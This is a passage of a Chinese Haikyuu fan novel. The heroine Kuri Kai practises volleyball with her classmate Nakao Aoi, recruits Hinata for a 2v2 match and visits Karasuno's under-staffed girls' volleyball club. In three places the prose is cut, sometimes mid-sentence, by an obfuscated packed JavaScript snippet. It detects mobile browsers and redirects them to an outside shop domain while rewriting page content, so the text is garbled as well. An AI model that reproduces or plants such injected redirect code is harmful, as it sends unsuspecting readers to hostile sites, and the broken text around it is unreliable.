放学回家失败，她因为多次小测不及格被列入了今天的补习名单。 * 好在中尾葵愿意等她。 中尾葵居然愿意等她！ 还给她带了一本《连排球小白都能看懂的：排球竞赛规则和基本功训练指南》，说是她小时候的启蒙教材，可以搭配亲身教学一起看。 九里绘：“好的，谢谢你……” 九里绘：“！！！” “你人真好！”拿到书的九里绘十分感动。 中尾葵脸红了一秒：“也、也没那么夸张啦，只是普通的互帮互助。” “我以前几乎没有过这样的经历。”九里绘即答，“我的运气很差，碰到的不是来惹我生气，就是来给我制造心情不愉快的。” 中尾葵茫然道：“两者有什么差别吗？” 九里绘：“有，前面那个我会想办法进行互殴，后面那个我会选择先用目光鄙视，后面再想想办法如何变成互殴。” 中尾葵：“……” 好、好可怕！ 在这之后的几天，九里绘见缝插针，瞄准空闲时间都拿来练习排球，为此她不惜将早餐和午餐都与上课合并到一起解决。 一确定目标就会全力以赴，不需要任何人提醒，九里绘行动力迅速地买齐了所需要的护具与装备，还顺手买了颗在家练习的排球。 Volleyball！（正声） 这导致的必然结果便是累得在课上一睡不起，额头像粘了胶水似的贴在桌面，谁也叫不醒。 新的一节课从老师讲课半分钟，只是转身写黑板字的功夫再转回来，就看到前排的九里绘当场陷入昏睡开始。 老师眯了眯眼睛，目光渐渐凌厉，捏着粉笔的手作投掷状跃跃欲试：“……” 中尾葵兢兢业业地双手捂嘴，想方设法地提醒九里绘。 “咳咳咳！“暗示性的咳嗽，戳戳后背，踩踩凳脚。 九里绘纹丝不动，简直比以往的每一次睡着都难叫醒 看来普通的小打小闹已经没有效果了，中尾葵干脆一不做二不休，加大了音量的输出，指尖发力，让气流在她的嘴边来回窜动 ——最后在寂静的教室里，发出了一串奇怪的bbox。 “……” “哈哈哈哈哈哈！！”教室内爆发出一阵经久不息的笑声。 中尾葵顿时羞得脑袋磕桌面，企图把自己缩成一颗球。 如果自己真的只是一颗球就好了。 是排球的话就再完美不过……中尾葵多希望她生来不是人类，而是一颗什么都不用在乎，只管飞舞的排球。 * 中尾葵，1年级2组透明人士（自称），九里绘的同班同学。 因为没有同桌，后桌又是个男生，秉持着异性规避的原则，中尾葵的注意力自然而然被前桌的女孩所吸引，一直到现在也未曾变过。 九里同学她……好像是同类。中尾葵一开始这样认为。 面对别人主动发起的聊天，中尾葵只会默默地把左手和右手的食指叠在一起上下画圈，垂眼低头，为有可能说错话而忧心忡忡。 她原以为九里绘和她的性格相似——同样的恐惧社交而总是独来独往，同样的太在乎他人的目光而尽可能减少多余的言行举止…… 直到看见九里绘顶着凌乱的长发在课上安稳长眠…中尾葵才意识到不对劲。 关注别人目光的人才不会一点都不在乎形象地在座位上睡得东倒西歪呢！ 现在，教学风格严厉的老师让两人一起到教室外罚站，中尾葵一副天塌下来的表情，欲哭无泪。 一想到走廊里会有人经过围观，中尾葵就浑身僵硬，紧闭双眼差点要发抖，这时，耳边传来均匀的呼吸声。 她转头看去。 是九里绘站着睡着了，头点得像小鸡啄米，嘴巴微微张开，疑似口水挂在旁边。 中尾葵震惊。 不要再睡了啊！她这个姿势是怎么睡得着觉的！？ 中尾葵习惯性地想叫醒她，不太方便出声，改为戳戳她的小臂…哎，手感挺结实。 这样一看，九里绘的手臂长度和她的体格比例算起来是修长的类型。 再联系到九里同学宽大的黑色外套下，那隐藏着的肌肉线条，想想就觉得很适合打排球…啊啊啊啊她在想什么乱七八糟的！！ 九里绘迷迷糊糊地伸了个懒腰：“…开饭了？” 中尾葵：“没、没有。” “哦，不睡了。”九里绘从善如流地说，“去打排球吗？” “诶？”中尾葵一脸懵，怀疑自己是不是产生了幻听，都没怀疑过别人。 九里绘：“你刚才说‘好想逃跑，好想去打排球，不想写作业’。” 中尾葵哭哭脸：“我我我、我把心理活动说出口了吗？QAQ” “嗯，所以去吗？”九里绘头一歪。 不知道为什么，中尾葵对上了九里绘的脑电波，猜到她想翘课的真实目的，她小声尖叫：“这种事情还是请等到放学后再说吧！” 九里绘纠结地皱眉：“可是我放学后有节补课……” “我等你！”中尾葵毫不犹疑地右手锤左肩，颇有某漫里献出心脏的意味。 “打排球，我一定会等你的。” 她咬起嘴唇像是在起誓般的动作、突如其来的激动语气令九里绘那双毫无波澜的眼睛亮了亮。 然而下一秒中尾葵马上破功，掩面：“不小心锤重了，肩膀的骨头好痛。QAQ” 九里绘：“……” 时间来到放学后的补习班下课。 在阳光隐约开始落山前，两人从学校出发，这次去的不是社区体育馆，而是一座公园的偏僻角落。 中尾葵说这是她和几个校外的排球爱好者新做出来的场地，虽然条件不够好，但是只要有网在，其他事都能克服。 “姐你真的没去参加放学后的部活啊？” 熟悉的时间，陌生的地点，眼熟的小孩哥中尾莲抱着游戏机，露出了他的死鱼眼。 “小莲你！…啊啊九里同学我没有什么奇怪的坏毛病，只是不适应人太多的集体活动，所以偶尔会跑出来单独训练。”中尾葵紧张地来回摆手。 “我记得你，你是那个接球很厉害的自由人。”中尾莲看向九里绘。 中尾葵两眼放光：“真的嘛，九里同学好厉害！” 九里绘：“……”糟糕，要出事了。 这该怎么解释，当时在这具身体里打排球的不是她啊。 干脆就不解释，冷处理。 九里绘想着想着就扯远了，她一敲脑袋，如梦初醒：“你们是姐弟。” 中尾葵一愣：“？...是、是的。” 九里绘：“亲生的！” “姐弟是用亲生来形容的吗？”中尾葵一脸茫然。 中尾莲痛苦地扶住额头：“苍天呐，如果我有罪，可以直接惩罚我，而不是让我认识两位难以捉摸的排球天然系。” 中尾葵焦急地一脚踢向他的屁股：“对别人这样说话太失礼了小莲！” “痛！” “道歉！” “对不起！” “我先去热身。”围观完中尾姐弟之间的友好互动，九里绘开始步入正题。 她稍微判断了一下身体的状况，再一步步深入分析：心率比平时要快些，但没有失控。 手臂和手指的疼痛感几乎没有了，冷却恢复得不错。 能打…而且，她有点期待第一次合作。 九里绘说：“中尾同学，我给你接…传球。” 传、球。 这两个字仿佛自带魔咒，立马中招的中尾葵顿时后退两步。 随后一改往日的内向与拘谨，猛冲上前抓住九里绘的手腕：“请不要介意，直呼我的名字葵吧！” 来感觉了。 九里绘的一双浅蓝色眸兴奋地闪烁，当即握住了她的左手：“你也是，叫我绘就好。” 背景板上扬起了波涛汹涌的海浪，身高略矮的九里绘踏上礁石，与中尾葵站在同一个高度。 无法加入她们volleyball世界的中尾莲只好吐槽：“你们都在脸红激动个什么啊！” …… 适应多一个人的节奏花费了些时间。 天色从明亮到昏沉，初步掌握了配合的默契后，九里绘喊中尾莲帮忙录制训练视频以备后续改进。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730968|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>镜头在男孩埋怨的声线下慢慢被认真地举起，调整好角度…… “我可以把动作发给别的人看吗？那个人也会打排球，不会拍到你们，只有我会露脸。”九里绘问。 中尾葵用手比了个ok：“没问题的！” 视频在顺时针的旋转加载后率先发送给了西谷夕。 【九里绘：能让队友接得舒服的传球……这样算可以吗？有什么需要注意的细节吗？】 视频的前两秒，是中尾莲一手握住手机，另一只手单手朝上空抛球的动作。 球一脱手，匆匆忙忙地把镜头对准离网有些距离的中尾葵。 这个球抛得不太好，有要飞出界的架势…还是过网来着？判断不出局势的中尾葵肉眼可见地犹豫了。 “跑起来！”九里绘的声音从画面外冲出。 受到了催促，十分在意他人看法的中尾葵再也无暇顾及其他，咬紧牙关马上展开行动。 向后摆臂，跑位，正当她根据扣球点位寻找起跳的位置时，眼前有一道模糊的人影闪过。 ——至少在那时，九里绘从未察觉到自己身上正在产生不可思议的变化。 她用几乎要撞上标志杆的速度自网与人之间低身穿梭，没有选择刹车，而是不带犹豫地，踩着边界线起跳。 双手同时发出碰击音，大拇指和中指带头感受到了结实的触感，腰部与核心的力量将全身死死挺立在半空，向后一推。 身体因为惯性腾空飞了一小段，九里绘在落地后紧急接了一个翻滚，随后立即站起：“怎么样？能接到吗！？” 迎接她的是扣球的落地声。 落地的中尾葵倍感惊喜，她做出握拳的动作，用指尖轻轻摩擦着手心：“可以，没问题！” 中尾莲跟着一起激动：“居然真的能传到啊？！” 视频在乱晃的镜头下结束。 一段时间后，对面回复了消息。 【西谷夕： （是的没错，他激动地乱按键盘最后只发送了一个空格）】 【西谷夕：帅气满分！】 【九里绘：好！原本只专门练过手臂的下手接球，但不知道为什么，觉得这球上手会更好接。】 【九里绘：今天也是体验当自由人的一天！（开心开心.jpg）】 【西谷夕：等等，不对。】 他再次回看了一遍视频，确认自己没眼花。 排球比赛的基本规则之一是：球过网后，每队最多可进行至多三次触球。 而中尾莲的抛球模拟的是一次触球。 九里绘在前场的跑动外加上手传球，球的高度肯定超过网的上端，队友还能接着扣球（攻击性击球）。 正好三次，所以从规则和定位上来看怎么样都是…… 分明是在打二传呀！！！ * 解释完来龙去脉，九里绘为自己的认知错误道了歉。 并表示不论她的脑袋有多笨，一定会深刻反省教训，今后不会再犯这种常识性错误了。 “其实没有那么严重啦，等打多了就能习惯。”中尾葵宽慰道，看了她弟弟一眼，“对了，我们可以打对抗赛！” “对抗赛？”九里绘来了兴趣。 “不要啊姐，我的水平你是知道的，一般只有到了二对二那种缺人底线了才不得不派我上场。”中尾莲挥手拒绝。 “来打嘛。”中尾葵锤他脑门，“排球就是人越多越有意思的运动啊，小莲你也是知道的吧！” 中尾莲嘀咕吐槽：“并非所有人都是排球狂热粉来着……” “原来四个人就行。”九里绘对着空气，独自喃喃自语。 几天后。 太阳已经完全落山，公园里的路灯依次亮起。 突然间，两道急促的脚步声打破了街道周围的宁静，朝着公园的角落一路逼近。 一路冲刺的九里绘停下脚步，气都来不及喘地向中尾姐弟宣布：“我抓到人了！” 并往侧边一挪，蹲下，双手展示出背后的一只闪亮亮橘子头。 橘子头男生短暂地愣了一下，很快，他的视线聚焦在眼前的白色格子网，而后兴致勃勃地做起自我介绍：“我叫日向翔阳，请多指教！” 九里绘举起手臂，面无表情地为自己欢呼：“Yes，对抗赛。” 中尾葵：“陌、陌生人……QAQ” 中尾莲的表情差点失去控制。 她是从哪儿拐来的人啊！？ 12. 12章 12章——不会打暴力跳发的二传不是好的自由人 骑单车翻过山，经过单程半小时，就能抵达乌野。 对于日向翔阳来说这点路程算不了什么，只要能在全新的学校，全新的队伍里继续打排球，通通不在话下—— 然后，中途出了些插曲。 一些小小的……闯祸问题。 日向翔阳打起精神。 总之，两天后的新生入部比赛将会是改变他现状的重要节点，在那之前他每天苦练接球，时间在不知不觉中迅速流逝。 今早晨练，三年级的菅原学长夸赞他接球水平提升了不少。 日向翔阳好似看到了胜利的曙光，兴奋不已：“真的吗！？” 开心之余，影山飞雄默默地给他浇了一盆冷水：“周六，要赢。” “……” 比赛，是怎么打配合的来着？ 大脑陷入一片空白，日向翔阳在停车棚开锁时魂不守舍，找错了自家的单车，不慎触发了别人十秒钟响亮的防盗警报。 等声音完全消失，焦头烂额的他擦了擦汗，才把单车推出棚。 昏暗的灯光下，日向翔阳只顾着低头推车，临到脚边才察觉到那道狭长的影子。 视线缓缓上移，乌野的黑色制服映入眼帘，紧接着是一张了无生机般的脸。 “咦！？？”吓得一激灵。 “我看见你抱着排球，你喜欢打排球吗？”定睛一看，是一个比自己稍矮点的黑发女生。 当反应过来时，日向翔阳已经脱口而出：“喜欢！非常喜欢！” 黑发女生的表情变柔和不少，平静下来后，逐渐能看清她精致的五官。 九里绘当场邀请：“我那里有人要办2v2对抗赛，时间或许会开得比较晚，只打一局，还差一人，你有空来吗？” 岂止是有空。 日向翔阳绝对不会错过任何一个机会。 * 时间回到现在，中尾葵在勉强度过社恐难关后认出了橘子头：“啊，是隔壁班的日向同学。” 那样鲜艳的发色在开学典礼上就注意到了…… “你好！”日向翔阳活力满满地打招呼。 中尾葵下意识后退了一步，但对排球的兴趣和好奇心促使她再度开口：“日向同学打的是什么位置？” 日向翔阳：“我是主攻手。” “这样啊，那挺不错的。”中尾葵展开交流，“我是副攻手，打快攻多一些。” 中尾莲还沉浸在自我怀疑中：“她为什么总能做出出人意料的举动，为什么我永远跟不上排球脑……” 九里绘眼睛一亮，原地温习起知识点：“主攻手，简称的话是WS和OH，慢着它们俩的区别是什么？” 一秒，两秒。 到了第三秒的时候，日向翔阳不可思议地大喊：“你们对此没什么意见吗！？” 像是看他身高太矮，觉得他不适合打主攻。 又像是对他个子小还当主攻手的吃惊…… 以上，通通都没有。 中尾莲不解：“我们应该有什么意见？” 他充满怨念地嘀咕：“偏要等到我承认自己的身高比你还矮小吗……” 日向翔阳：“…对哦。” 中尾葵莫名激动，喊出口号：“拒绝冷嘲热讽，打造和谐竞技友谊！” 九里绘合上字典，嘴里刚背完规则：“不用管我们的想法，你想当什么就当什么。” 在这里，不会有任何人被小看，甚至于如果他要放出“登上世界舞台”之类的大话，也能得到最正常不过的平等尊重。 感受到了一个绝对美妙的开端，日向翔阳跃跃欲试：“那就开始吧！” 分组采用的是抽签制。 说是对抗赛，由于中尾葵没准备计分表，所以用的是口头计分。 网的另一侧，中尾姐弟被分到了一起，而网的这一侧则是日向翔阳和九里绘。 “传球和扣球，你倾向于打哪种？”九里绘不动声色地摁灭手机，前一秒屏幕还显示着的教学视频。 “硬要选一个的话，我更想要扣球！”日向翔阳说。 “好，那你要多接到几次。”九里绘点点头，“我会给你托球的。” 日向翔阳的嘴角变成波浪线：“！！！” 在排球规则中，一名队员不能连续击球两次，每队最多连续击球三次，因此人数2v2条件下，击球策略有限。 最普遍的便是队员a垫球接住，队员b托球调整位置，队员a再扣球。 扔硬币决定好谁是先手，第一回合开始，中尾莲率先发球。 力道稍显不足，是擦网球。 球自网线上方擦过后往下坠落，日向翔阳立即做出反应，冲到中间补位，将球用力垫起。 “这边！”明明只可能是他扣球，日向翔阳还是忍不住喊出口，“…九里同学！” 九里绘出现在网前，在那份期待的声音中起跳。 记忆中，她将与托球技巧有关的画面迅速分解抽离，并编织到一起，思索比对。 结合平时用篮球锻炼手指力量时掌握到的触感，摆对手势，每一根手指都要参与发力，向高处托。 ——排球的旋转和速度减弱了。 与此同时，日向翔阳看准球路，紧跟上步起跳，手掌挥动的那一刻，排球擦过中尾莲拦网的手指。 拿下一分。 “好！”他大喊。 九里绘举着手臂缓慢靠近。 这回日向翔阳读懂了那看似没什么变化的表情，和她热情地击掌。 “再来一球吧！”日向翔阳心想，他找到打配合的感觉了。 周六的新生赛，他绝对会赢！ “啪嗒。” 说时迟那时快，日向翔阳的发球没有过网，痛失一分。 看见网后快要碎掉的橘子头，中尾葵连忙挥手：“不要在意，下一球加油。” 轮到中尾葵发球。 排球在手里转动几圈，随后被高高抛起。 浅蓝色的眼眸微缩，九里绘觉得这动作实在眼熟。 下一刻，双臂在接球时未能完成卸力，弹起的排球朝界外飞去。 “是跳发球！”日向翔阳惊叹。 九里绘看着自己发红的手掌和手臂，慢慢施加握力，再攥紧。 没接住…下一次，一定能接到。 …… 不知多少个回合过去，一比一打平后，中尾莲口中的计分又到了二十出头。 九里绘跑到花丛中捡回被打飞的排球，边跑边用袖口擦掉额头的汗：“日向同学，这次我想试一下……” 日向翔阳伸出拳头为她打气：“没问题的，加油啊！” 此时，中尾莲已经累得连数字都报不清楚了，旁边大喘气的中尾葵说：“等等，已经结、结束了。” “刚才是你们的第二十五分。”中尾葵撑住膝盖，“你们难道是什么隐藏的运动大神吗？为什么不会累啊。” 体育竞技果然是拉近距离的最快方式之一，一局打下来，内向社恐的中尾葵已经能和新认识的日向面前正常对话了。 日向翔阳说：“确实有点累，不过我感觉还好！” 这里的“有点”算上了他来打2v2前积累的训练疲劳。 九里绘因为补习课和被不同科目老师叫去约谈而没怎么高强度锻炼她的基本功，回道：“不累，今天是休假。” 谁家休假还会出来打2v2啊……中尾莲在心里吐槽。 很多件校服外套和别的衣服被解开丢在长椅，四人靠着书包，拧开杯子补充起水分。 喝了两口，日向翔阳突然停下，好奇地抛出他想了解的话题：“中尾弟弟在读国中，中尾同学、九里同学和我都是乌野的一年级生，也喜欢打排球。” 日向翔阳：“所以你们为什么没去参加部活呢？” “我没加入社团。”九里绘在小口喝水的间隙果断应答。 中尾葵呛了一下：“啊，这个嘛……” 中尾莲打断：“直接喊我的名字就好，不必加个‘弟弟’。” 九里绘：“我记得小葵说过，是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730969|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她第一天闯了祸，现在还没脸回去。” “你也闯祸了吗？”日向翔阳惊讶。 中尾葵更为震惊：“什么叫也！？” 九里绘默默盘点了一遍，发现她新认识的人里怎么全是在社团上闯祸的。 “我和那位打排球的‘王者’——就是一个叫影山飞雄的人很不对付！然后队长说，在没学会队友之间的相处前禁止参加部活。”日向翔阳大大方方地分享起来。 而后，化身为吃瓜群众的三人就收听到了这样一个冤家路窄的故事。 故事的最后，日向翔阳十分自然地承认：“……但无论怎么说，影山的托球很厉害，这点是肯定的。” “所以你要靠周六的新生赛证明自己可以和那个叫影山的达成友好合作。”中尾莲一通分析下来。 “不仅如此，也变相得向队长和学长们证明，你是能够努力融入团队，不会变成队伍的矛盾中心。” “说得有道理，好厉害——”日向翔阳毫不掩饰他的赞美。 中尾莲突然结巴：“没什么啦……可恶不要用那种亮晶晶的眼神看我。” “新生赛的话，女排部也会举办吗？”九里绘看向中尾葵，“你闯的祸不至于让你很久都不能去部活吧。” “我也不清楚，但是要论回社团，我明天应该就能回去了。”中尾葵犹豫不决，“还是下周吧，明天撞上周末有点尴尬。” “对了，中尾同学的跳发球！”日向翔阳突然想到了这一点，激动地说，“我真的很少见到那种发球，落点稳定，能一次性连拿好几分。” “它一定能成为中尾同学在新生赛上超强的武器！” 一连串发出了好多好多用来夸奖的语句，从没见过这种架势的中尾葵开始和她弟弟一样结巴又红脸：“才、才没有啦！” 九里绘抿抿嘴，极力克制住她想跳起来击掌的心。 果然她还是喜欢和纯粹的家伙们呆在一起。 对运动纯粹的喜欢，纯粹的语言表达方式……日向翔阳和中尾葵都很符合。 中尾莲虽然说话风格和脾气比较古怪，但她临时上网搜索了一下，掌握了一个叫傲娇的新名词。 九里绘找到了新的爱好，结交了新的朋友，九里绘很开心。 为此，她想要用特别的方式庆祝一下。 “翔阳，我可以叫你翔阳吗？”得到肯定答复后，九里绘重新起身，站到场上的发球区域，“你愿意接一次我的发球吗？” 待日向翔阳在网的另一侧做好准备姿势，九里绘放松身体，深呼吸三次，每一次呼气都伴随着往水泥地上弹球。 在心中默背三年前的某人指导自己用上的口诀。 首先，专注于球的位置，中心看向右脚。 其次是抛球，只要球抛得足够好，这一球四舍五入就是有了。 起跳，在空中完成引臂，接着立刻让手臂和手腕放松，掌心击球，手指要把球包住、包住…… 关键的一句话记不清了，反正凭感觉就是用上如同把身体都定格在半空中的力量，奋力往下扣！ 最后是，岩泉学长在上，保佑她！ “咚！！！——” 快到只能捕捉到残影的速度，从直逼眼前到砸入后方的墙壁仿佛按下了暂停键。 破空之音与坠落时的重击仿佛同时响起，随后便是九里绘双脚落地所产生的轻踏声。 日向翔阳一动未动，转过身，在看清那颗出界到堪比全垒打的排球后，才意识到自己曾面对过类似的暴力发球。 在他认识的女生里，即使是社区队伍的阿姨们和国中女排队成员们也没有使出过的…… “影山式”发球啊！！！（尖叫）（变成纸片小人） 在众人惊魂未定之时，中尾葵咬紧牙关冲到九里绘面前，双手紧紧握住了她的右手。 “尊尊尊敬又尊贵的九里绘同学，这是我毕生的请求。”她的眼角闪过晶莹的泪光，“请一定要来女排部！！” “明天就来！！！我带你参观！” 九里绘懵懵的：“……诶？” 13. 13章 13章——无人在意的天才…也是天才 情况好像和她想的有些不一样，又好像一样。 认定一项爱好在九里绘心目中是一个极其关键的步骤，目前她仅仅是确定了自己打排球的乐趣，而团队就有点难说了。 但既然是朋友的提议…… 是中尾葵的请求，九里绘并不觉得反感，索性抱着探险的心情答应下来。 “我也想请九里同学去男排部参观！”日向翔阳连忙接上，“我一定要把影山介绍给你，让他看看九里同学的恐怖发球——！” 于是一天后。 结束了补课的九里绘与中尾葵一同出现在第一体育馆的门口。 * 九里绘正想进去，发现中尾葵自动躲在了她的身后。 “里面会突袭吓人吗？”她面露不解。 “没关系不用在意我的小绘……等看见道宫学姐了我一定站在你面前！不要害怕！！”中尾葵尖叫。 九里绘歪歪头，让她抓住自己的衣角，推动大门。 和一群正在整队的篮球部成员们面面相觑。 “？”九里绘再次退回去看了门口的标志牌，确定这里是第一体育馆无误。 篮球部的教练扫了眼二人，指着后面拉起的围网说：“找女排部的话从侧门进去。” 中尾葵立刻九十度鞠躬：“谢谢您的提醒，打扰了！”迅速撤离。 第一体育馆原来不是女排部专用的啊。 直到九里绘绕到旁边拉开侧门，她在脑袋里还萦绕着这句话。 体育馆被天花板垂下的围网分成了两块区域，九里绘正式踏上室内的地板，一道黑影疾驰而过，冲到面前。 “你是谁？”浅金色短发的女生拧眉质问道，语气显得咄咄逼人，“事先声明下，禁止不明人士随意参观部活是体育竞技默认的规则。” 终于，中尾葵忍不住了：“啊啊啊！QAQ” 浅金短发也跟着一起毫无感情地喊：“啊啊啊啊——小葵你叫什么啊！？” 九里绘抬手捏拳，收住了中尾葵的动静，淡定告知来意：“我是1年级2组的九里绘，来参观女排部。” “参观…只是参观，不是来加入的吗？”浅金短发微微弯下身，叉腰和她平视，“我怎么确定你是不是在撒谎。” 浅金短发：“你喜欢打排球吗？” “喜欢。”九里绘眯了眯眼，觉得眼前人或许不好对付，拿出压箱底的成语绝招，“最近练得废寝忘食。” 下一秒，浅金短发的手猛地拍向她的肩膀。 “那简直就是超级喜欢啊，自信点，喜欢打排球的女孩子都是我的纯天然朋友！”浅金短发一改先前的态度，整个人焕发出十足的光芒，“还有你小葵，你终于回来啦！” 一惊一乍让中尾葵没反应过来：“是、是的！” “我的名字是有栖川由梨，也是1年级的，你好你好，很高兴…不对，是十分非常异常高兴认识同样喜欢打排球的你！”浅金短发握住九里绘的手腕来回大幅度摇晃。 “有栖川，冷静点吧，别像个守门员似的总是对侧门做出反应。”西村纱奈朝身后喊，“队长，有新人，快出来介绍。” “我来了——”三年级的道宫结匆忙放下水杯，随意抹了下脸上的汗渍便小跑过来。 “初次见面，我是女子排球部队长道宫结，昨天受到了中尾的简讯，欢迎你的到来…只是参观也欢迎。” 道宫结听上去是许久没做过正式的介绍，声音略显内敛生涩。 “毕竟除了中尾和有栖川外，今年根本就没招到什么新人嘛。”西村纱奈挥手打招呼，转头说。 “有栖川，就算进来的不是排球爱好者，也不用那么偏激。” “西村学姐说得很有道理，但是……我拒绝！”有栖川由梨态度坚决。 “排球场上的选手是可敬的对手和可靠的队友，现实世界中的人类都是敌人。” 有栖川由梨直白地讲：“喜欢打排球的女孩子怎么可能有坏人呢？退一万步说，即使是，又能‘坏’到哪里去？这就是我的价值观！” 西村纱奈抽了抽脸，无奈道：“抱歉，有栖川的性格向来极端……我是三年级的西村纱奈，位置是副攻。” 依次给每位前辈礼貌报完姓名，九里绘和有栖川四目相对。 “你说的话，十分动听。”九里绘见到了自己最适应的类型，也就是纯粹，“我很喜欢你。” 有栖川由梨顿时心花怒放：“九里，好姐妹！” 西村纱奈怀疑人生：“……‘喜欢’是能在日常交流中随便说出口的？？” 道宫结紧张：“大家、大家声音都轻一些，旁边篮球部的都在看我们。” * 既然说了是参观，九里绘肯定不会想干扰她们的训练。 在一旁站着观摩半小时后，九里绘放空大脑在附近走动，然后在心中把各种线索归到一起，做出总结。 与篮球部共用而缺了至少一半面积的场馆； 工具房里的后勤设施有一半不能正常使用； 从没有出现过的指导老师和教练； 最后也是九里绘认为至关重要的一点——只有四人参加的社团部活：分别是三年级的道宫结，西村纱奈，和一年级的中尾葵，有栖川由梨。 连六个人都凑不满，真的能上场比赛吗……？ “排球部还有别的成员吗？”她就近询问休息中的西村纱奈。 “有的。”西村纱奈点头，“除了我们外，还有二年级的四个人，她们有特殊原因请假。” “还有我们队唯一的二传手，今天去参加学生会的开学例行社团会议了所以不在。” 好歹是能凑齐六个人上场了。 九里绘毫不客气地追问：“那四名学姐请假发生的频率多吗？” “因为是刚开学，所以……”西村纱奈有些尴尬地道出真相，“基本没来过。” 轰隆。 九里绘的内心结界像是被雷击中。 “女排部这种状态……维持多久了？”等到反应过来时，她已经将这番话问出口。 九里绘沉下脸：“暂时的，还是一直如此？” 她国中的体操队即使再不出成绩，也会有负责老师督促全体成员参加部活。 因为那是规定。 没有机械训练的体育运动什么也不是。 饶是最排斥团队的她，也知道一盘散沙的队伍连体育竞技……说难听点，根本是连体育竞技的门槛都达不到。 九里绘以为她小学和国中时遭遇的情况已经够差，再不济也是个摇摆在入门级水平的环境。 而在目睹了乌野女排部的现状后，再次刷新了下限。 道宫结走上前来，仿佛早已猜到她的心情，愧疚地说：“…抱歉，这里让你失望了。” “道宫学姐不用道歉。”短短几秒后，九里绘的表情恢复正常。 她的情绪稳定得可怕，自我调节的速度总是异常惊人。 “我想和大家讨论一个问题，女排部的社团目标是什么？”九里绘问道。 有栖川由梨第一个回答：“进军全国大赛。” 中尾葵迟疑：“应该是……拿下预赛冠军，进军全国大赛吧。” “八强吧，按我们的学校来说，能进县内预赛八强就是近十年的最好成绩了。”西村纱奈无害地笑了笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730970|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >道宫结选择了沉默。 听来听去，九里绘觉得都不行。 不行、绝对不行……九里绘用力抿嘴，下唇印出了一圈齿印。 她也不清楚自己是怎么了，明明没有要加入社团的想法，却感觉心头仿佛被什么东西堵住了。 紧接着是胸口传来的空落落的感觉…… 九里绘从来不懂得自我压抑，干脆直截了当地说：“既然打了，那我的目标就是拿全国冠军。” 在众人诧异的目光中，她继续道：“给自己定的目标越来越低，才会纵容自己变得越来越弱小。” “强者才配永远站在舞台上，但是所有强者从出生的那一刻起不一定就是最强的吧。” 西村纱奈心中早已对相似的问题有了自己的见解，她当即反驳：“可是有一个很现实的问题摆在面前，九里同学，那个东西叫能力与才能。” “从小打排球的人掌握了排球这项运动的技术，这是能力。” “而其中有一部分人在接触排球后发掘出了自己的天赋，这是才能。” 西村纱奈表现出无奈的感慨：“拥有任何一方都能变强，何况是两者都有的人……但他们基本无一例外都会前往强者的聚集地，汇聚在排球强校。” “可这里是女排，是乌野的女排，一个从来没有进过全国大赛的队伍……很难拥有能力和才能的吧。”西村纱奈自嘲般地笑了笑。 九里绘苦思冥想，最后总结了西村纱奈的观点：“说白了就是没实力。” 西村纱奈噎住：“……好无情！” “对啊，毕竟竞技比赛通常提到的主题就是结果无情论。”九里绘抓住她唯一挺懂的点。 又没完全听懂：“但是，没实力的人也能去打比赛吧。” 西村纱奈：“…什么？” “这么讲吧。我运气不好，印象中亲身体验过的第一件事情就是：只要签运够烂，倒数第一也能抽到第一名。”九里绘说，“无痛玩到了决赛的刺激感，够爽。” “抱歉扯远了。” 九里绘重新组织语言，浅蓝色的眼底凝聚着情绪，平静又笃定。 “上了赛场后，两支队伍是平等的，规则是公平的，只要打下去就行，没人有资格会因为你没实力就把你赶下赛场的舞台。” “——何况是掌握了那么一丁点的实力呢？”九里绘歪了歪头，眼神流露出单纯的不解。 “没人能阻止你得分，而且在这个世界、这个时代……已经不会遮挡任何人散发属于他们的光辉了。” “所以我心目中的能力和才能，指的是能为了让自己‘噼咔噼咔’发光而一直坚持下去的人。” “不论结果怎样，愿意一直坚守在同一个领域的人，在我看来就是天才了。”九里绘双手插着外套口袋，说，“区别无非是受人瞩目的天才，和无人在意的天才。” “可是天才就是天才，管别人做什么。”九里绘撇撇嘴，“……给我坚持下去啊。” “不好意思，我的话有点多，只是个人观点，不要介意。”她做出标准的鞠躬。 “不，不需要道歉。”道宫结沿用了九里绘最常说的话，“我们能明白你的意思。” 西村纱奈没有发言，她揉了揉脖颈，随后移开视线看向一旁的墙壁。 中尾葵和有栖川由梨露出了仿佛听到至理名言的欣喜表情。 “作为队长的我…没能管理到位的方面有许多，我会尽快把它们都纠正过来。” “欢迎来到乌野高校的女子排球部。”道宫结腼腆地微笑，向她伸出手，“等你下一次出现在这里的时候，希望这里的风景不会再让你失望。” “我们的‘天才’九里同学。” 14.14章 14章——西谷视角的一日观察计划 首先可以肯定的是，西谷夕他不是跟踪狂…也没有任何与此相关的爱好。 